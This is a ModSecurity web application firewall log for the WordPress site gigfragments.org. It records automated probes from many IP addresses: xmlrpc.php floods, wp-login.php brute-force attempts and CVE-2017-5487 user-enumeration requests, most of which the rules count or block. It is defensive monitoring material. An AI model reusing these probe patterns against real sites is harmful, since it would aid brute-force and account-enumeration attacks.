[Sun Nov 23 20:52:17.715880 2025] [:error] [pid 44652:tid 44723] [client 198.23.50.58:55186] [client 198.23.50.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.23.50.58, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMDgdiQFwsyXQDhwyAX5gAAARE"]
[Sun Nov 23 21:01:18.465257 2025] [:error] [pid 8036:tid 8058] [client 162.55.180.1:45536] [client 162.55.180.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.55.180.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMFntBT69EcgFwgTmptNQAAAgs"]
[Sun Nov 23 21:23:14.459845 2025] [:error] [pid 44652:tid 44721] [client 47.92.214.184:33320] [client 47.92.214.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.92.214.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMKwtiQFwsyXQDhwyAinwAAAQ8"]
[Sun Nov 23 21:23:18.632581 2025] [:error] [pid 38738:tid 38747] [client 103.4.122.14:42858] [client 103.4.122.14] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "88.136.42.22_6f08d6ac81fd8295eaf934d99236d6506925c70a"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "aSMKwwytc6TL9XavPmNSVAAAAAU"]
[Sun Nov 23 21:44:59.041348 2025] [:error] [pid 16066:tid 16090] [client 35.234.37.132:42748] [client 35.234.37.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.234.37.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMP2_q-c47Q5mW5E9HO0wAAAZU"]
[Sun Nov 23 22:26:53.524456 2025] [:error] [pid 8036:tid 8049] [client 45.250.255.41:56372] [client 45.250.255.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.250.255.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMZrdBT69EcgFwgTmqCjwAAAgI"]
[Sun Nov 23 23:29:40.471883 2025] [:error] [pid 17534:tid 17554] [client 89.46.110.168:38882] [client 89.46.110.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.110.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMoZHPX9nXBrhgM8syrcgAAAdI"]
[Sun Nov 23 23:59:18.072796 2025] [:error] [pid 14602:tid 14621] [client 107.180.252.236:39764] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSMvVh-I77jdD81pU-kE4AAAAUA"]
[Mon Nov 24 00:19:32.301772 2025] [:error] [pid 16066:tid 16071] [client 35.202.242.59:58494] [client 35.202.242.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.242.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0FPq-c47Q5mW5E9Hp8wAAAYI"]
[Mon Nov 24 00:19:36.248122 2025] [:error] [pid 16066:tid 16074] [client 35.202.242.59:58494] [client 35.202.242.59] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSM0GPq-c47Q5mW5E9Hp-AAAAYU"]
[Mon Nov 24 00:19:38.212955 2025] [:error] [pid 16066:tid 16077] [client 35.202.242.59:58494] [client 35.202.242.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.242.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0Gvq-c47Q5mW5E9Hp_gAAAYg"]
[Mon Nov 24 00:19:40.254447 2025] [:error] [pid 44652:tid 44728] [client 35.202.242.59:49347] [client 35.202.242.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.242.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0HNiQFwsyXQDhwyBTwgAAARY"]
[Mon Nov 24 00:19:42.245530 2025] [:error] [pid 8036:tid 8067] [client 35.202.242.59:62443] [client 35.202.242.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.242.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0HtBT69EcgFwgTmqYFgAAAhQ"]
[Mon Nov 24 00:19:44.196646 2025] [:error] [pid 8036:tid 8057] [client 35.202.242.59:55327] [client 35.202.242.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.242.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0INBT69EcgFwgTmqYFwAAAgo"]
[Mon Nov 24 00:19:46.144535 2025] [:error] [pid 14602:tid 14629] [client 35.202.242.59:60582] [client 35.202.242.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.242.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0Ih-I77jdD81pU-kJQAAAAUg"]
[Mon Nov 24 00:19:46.144776 2025] [:error] [pid 14602:tid 14629] [client 35.202.242.59:60582] [client 35.202.242.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.202.242.59, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM0Ih-I77jdD81pU-kJQAAAAUg"]
[Mon Nov 24 00:45:10.250296 2025] [:error] [pid 1454:tid 1520] [client 157.245.42.243:37226] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSM6Freh4NH3skJ5n4Rn0wAAAMg"]
[Mon Nov 24 01:30:55.018158 2025] [:error] [pid 1453:tid 1486] [client 134.122.71.153:40058] [client 134.122.71.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.71.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNEzxUBCt7LU0bO_GBPkAAAAII"]
[Mon Nov 24 02:06:41.598964 2025] [:error] [pid 8337:tid 8349] [client 182.42.111.213:60001] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aSNNMeSmps4S2j95D5iO4AAAAAo"]
[Mon Nov 24 02:16:53.804413 2025] [:error] [pid 1454:tid 1536] [client 159.203.142.225:46114] [client 159.203.142.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.142.225, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNPlbeh4NH3skJ5n4SDiQAAANg"]
[Mon Nov 24 02:26:57.461446 2025] [:error] [pid 1589:tid 1591] [client 34.11.9.72:61133] [client 34.11.9.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.9.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNR8YI2fvripjU0EauQYAAAAUA"]
[Mon Nov 24 02:27:01.059710 2025] [:error] [pid 1589:tid 1614] [client 34.11.9.72:61133] [client 34.11.9.72] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSNR9YI2fvripjU0EauQZgAAAVc"]
[Mon Nov 24 02:27:04.447464 2025] [:error] [pid 1589:tid 1613] [client 34.11.9.72:61133] [client 34.11.9.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.9.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNR-II2fvripjU0EauQagAAAVY"]
[Mon Nov 24 02:27:06.452195 2025] [:error] [pid 1453:tid 1501] [client 34.11.9.72:58542] [client 34.11.9.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.9.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNR-hUBCt7LU0bO_GBgSwAAAJA"]
[Mon Nov 24 02:27:08.364220 2025] [:error] [pid 8337:tid 8344] [client 34.11.9.72:62780] [client 34.11.9.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.9.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNR_OSmps4S2j95D5iWcQAAAAU"]
[Mon Nov 24 02:27:10.513622 2025] [:error] [pid 1453:tid 1488] [client 34.11.9.72:55848] [client 34.11.9.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.9.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNR_hUBCt7LU0bO_GBgUAAAAIQ"]
[Mon Nov 24 02:27:12.382161 2025] [:error] [pid 1453:tid 1495] [client 34.11.9.72:57726] [client 34.11.9.72] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.11.9.72, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNSABUBCt7LU0bO_GBgUgAAAIo"]
[Mon Nov 24 02:27:12.382307 2025] [:error] [pid 1453:tid 1495] [client 34.11.9.72:57726] [client 34.11.9.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.11.9.72, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNSABUBCt7LU0bO_GBgUgAAAIo"]
[Mon Nov 24 02:28:18.563845 2025] [:error] [pid 8337:tid 8356] [client 139.59.116.230:50618] [client 139.59.116.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.116.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSNSQuSmps4S2j95D5iWyAAAABE"]
[Mon Nov 24 02:28:20.500008 2025] [:error] [pid 1454:tid 1530] [client 139.59.116.230:50632] [client 139.59.116.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.116.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSNSRLeh4NH3skJ5n4SG5wAAANI"]
[Mon Nov 24 03:20:23.077280 2025] [:error] [pid 1589:tid 1591] [client 135.181.77.28:56356] [client 135.181.77.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.77.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNed4I2fvripjU0Eaug7AAAAUA"]
[Mon Nov 24 03:21:59.475200 2025] [:error] [pid 8337:tid 8347] [client 188.165.95.76:44134] [client 188.165.95.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.165.95.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNe1-Smps4S2j95D5ivHAAAAAg"]
[Mon Nov 24 03:26:23.817641 2025] [:error] [pid 1452:tid 1466] [client 118.17.233.205:50588] [client 118.17.233.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.17.233.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSNf3xKZkEEyVNVXr_njAAAAAEk"]
[Mon Nov 24 03:26:26.400306 2025] [:error] [pid 1452:tid 1479] [client 118.17.233.205:51070] [client 118.17.233.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 118.17.233.205, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSNf4hKZkEEyVNVXr_njAwAAAFY"]
[Mon Nov 24 03:38:06.261377 2025] [:error] [pid 1452:tid 1470] [client 62.30.229.2:45344] [client 62.30.229.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.30.229.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNinhKZkEEyVNVXr_nmiwAAAE0"]
[Mon Nov 24 03:47:04.824916 2025] [:error] [pid 1453:tid 1503] [client 81.169.221.4:48658] [client 81.169.221.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.221.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNkuBUBCt7LU0bO_GB22AAAAJI"]
[Mon Nov 24 04:29:33.587823 2025] [:error] [pid 12910:tid 12931] [client 161.35.77.74:57538] [client 161.35.77.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.77.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSNurWkWgvzAF2Nei2VdoQAAABA"]
[Mon Nov 24 05:11:26.613379 2025] [:error] [pid 12910:tid 12932] [client 140.82.47.2:60672] [client 140.82.47.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 140.82.47.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSN4fmkWgvzAF2Nei2VowgAAABE"]
[Mon Nov 24 05:47:11.740211 2025] [:error] [pid 53508:tid 53515] [client 68.183.158.70:58466] [client 68.183.158.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.158.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOA32639qxbKCcL09y8MQAAAQU"]
[Mon Nov 24 05:57:04.109957 2025] [:error] [pid 53508:tid 53531] [client 92.205.187.137:51334] [client 92.205.187.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.187.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSODMG639qxbKCcL09zAcwAAARU"]
[Mon Nov 24 06:22:25.147964 2025] [:error] [pid 53508:tid 53525] [client 83.150.212.93:45574] [client 83.150.212.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.150.212.93, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOJIW639qxbKCcL09zNpwAAAQ8"]
[Mon Nov 24 06:38:30.654397 2025] [:error] [pid 12912:tid 12977] [client 104.28.156.149:51638] [client 104.28.156.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.156.149, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOM5pMj_Lgt36UonYLUDAAAAIg"]
[Mon Nov 24 06:49:37.331167 2025] [:error] [pid 12999:tid 13025] [client 171.244.0.91:36822] [client 171.244.0.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.244.0.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOPgVtj_teEYJ8vu7EviQAAANY"]
[Mon Nov 24 06:49:39.732436 2025] [:error] [pid 12911:tid 12945] [client 171.244.0.91:36826] [client 171.244.0.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 171.244.0.91, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOPg0DMbk9464jnIl4CswAAAEM"]
[Mon Nov 24 06:54:19.954722 2025] [:error] [pid 12911:tid 12942] [client 65.38.25.38:32896] [client 65.38.25.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.38.25.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOQm0DMbk9464jnIl4EowAAAEA"]
[Mon Nov 24 07:21:14.312937 2025] [:error] [pid 12910:tid 12923] [client 209.126.127.12:59610] [client 209.126.127.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.126.127.12, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOW6mkWgvzAF2Nei2WVlQAAAAg"]
[Mon Nov 24 07:24:12.933227 2025] [:error] [pid 53508:tid 53530] [client 104.207.34.94:60449] [client 104.207.34.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.207.34.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOXnG639qxbKCcL09zyvAAAARQ"], referer: https://gigfragments.org/
[Mon Nov 24 07:24:15.106969 2025] [:error] [pid 53508:tid 53532] [client 216.26.255.9:43163] [client 216.26.255.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.26.255.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOXn2639qxbKCcL09zyvwAAARY"], referer: https://gigfragments.org/wp-login.php?action=register
[Mon Nov 24 07:28:04.675992 2025] [:error] [pid 12911:tid 12957] [client 185.251.199.203:45412] [client 185.251.199.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.251.199.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOYhEDMbk9464jnIl4SRQAAAE8"]
[Mon Nov 24 07:39:56.334922 2025] [:error] [pid 12999:tid 13023] [client 104.28.208.84:55201] [client 104.28.208.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.208.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSObTFtj_teEYJ8vu7FGEwAAANQ"]
[Mon Nov 24 07:39:56.335532 2025] [:error] [pid 53508:tid 53515] [client 104.28.208.84:24000] [client 104.28.208.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.208.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSObTG639qxbKCcL09z6lAAAAQU"]
[Mon Nov 24 07:51:43.587196 2025] [:error] [pid 12999:tid 13008] [client 152.53.37.34:40920] [client 152.53.37.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.37.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOeD1tj_teEYJ8vu7FJcQAAAMU"]
[Mon Nov 24 07:58:09.824216 2025] [:error] [pid 12999:tid 13021] [client 185.222.163.90:58242] [client 185.222.163.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.222.163.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOfkVtj_teEYJ8vu7FMYQAAANI"]
[Mon Nov 24 08:01:49.500702 2025] [:error] [pid 12910:tid 12935] [client 163.61.112.5:38614] [client 163.61.112.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.112.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOgbWkWgvzAF2Nei2WiEQAAABQ"]
[Mon Nov 24 08:10:01.010343 2025] [:error] [pid 12999:tid 13021] [client 104.28.208.84:53562] [client 104.28.208.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.208.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOiWVtj_teEYJ8vu7FTGQAAANI"]
[Mon Nov 24 08:10:01.837950 2025] [:error] [pid 12911:tid 12944] [client 104.28.208.84:53589] [client 104.28.208.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.208.84, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aSOiWUDMbk9464jnIl4fRwAAAEI"]
[Mon Nov 24 08:10:54.058747 2025] [:error] [pid 12910:tid 12919] [client 64.227.167.218:37776] [client 64.227.167.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.227.167.218, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aSOijmkWgvzAF2Nei2WmGQAAAAQ"]
